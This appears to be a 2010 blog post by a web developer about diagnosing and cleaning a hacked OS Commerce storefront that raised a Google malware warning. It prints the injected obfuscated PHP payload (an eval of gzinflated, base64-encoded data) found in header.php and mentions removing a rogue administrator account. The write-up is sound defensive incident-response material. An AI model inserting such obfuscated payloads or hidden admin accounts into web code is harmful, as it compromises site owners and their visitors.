Anatomy of an OS Commerce Attack

Wednesday, 19 May 2010 16:25 Written by Peter Brockmann

Some Names Have Been Changed...

..but not all names. One of my web clients got hacked the other day. It was a sneaky, but fortunately mostly benign attack.

oscommerce-hacked1 The client uses OS Commerce, the open source storefront and got a nasty fright when this nasty page - legitimate Google warning page - popped up. Clicking on the link to the Google Safe Browsing Diagnostic page gave a detailed report claiming how this client had affected lots of other domains with malware.

Now, this site was a legitimate Google site since the URL is clearly a Google domain. It claimed that the client's site had infected lots of other domains and was part of a nasty network. It gave instructions on how to overcome the malware state of the operation.

oscommerce-hacked2 So, I took the precautionary step of validating that in fact the client site was infected, knowing full well that some hacks are simply nuisance hacks and just because it said that it was infected didn't mean that it was. Then, my first lucky break - Google said no it wasn't affected (below). That made me breathe a little easier.

oscommerce-hacked3

To Recap

Ok. So, the root page is firing up a legitimate Google warning page linking to a report of a malware page for a different url. When pushed, Google denies the site is infected.

Then, I looked at the source page of the root page, which of course, is dynamically generated by the php script. The offending cause of the nasty result is the yellow line. The bad code must be in the header.php script page since it is above the first table which is in the includes/language/english/index.php page.

Then, we went to the header.php page and compared it with a clean backup (every site should have an active backup that can be easily referenced - we use Time Capsule with our Apple servers) where I found the following nasty code:


eval(gzinflate(base64_decode('JY5NCsIwEEb3hd4hzMLuTClu1PwsvIHgATQZk
 4E0I9OAHl9bdx+8B+/zzvi+w5BZDYaecp9RLRIs5NZeJ60vTPUm5YqRBEMjrvvAs/5ov1ox
 7SjaaTwcJ1Bvii1bGEFlpJTbNpcgXArVZKEyqC3wYIkoK3ZG/5tuOPed/335Ag==')));

and purged it from the header.php.

Then we discovered an alien user in the administrator database and removed them, changed passwords, recursively reset security on the site, added a sitemap and robots.txt file.

Hopefully that'll be the end of this attack.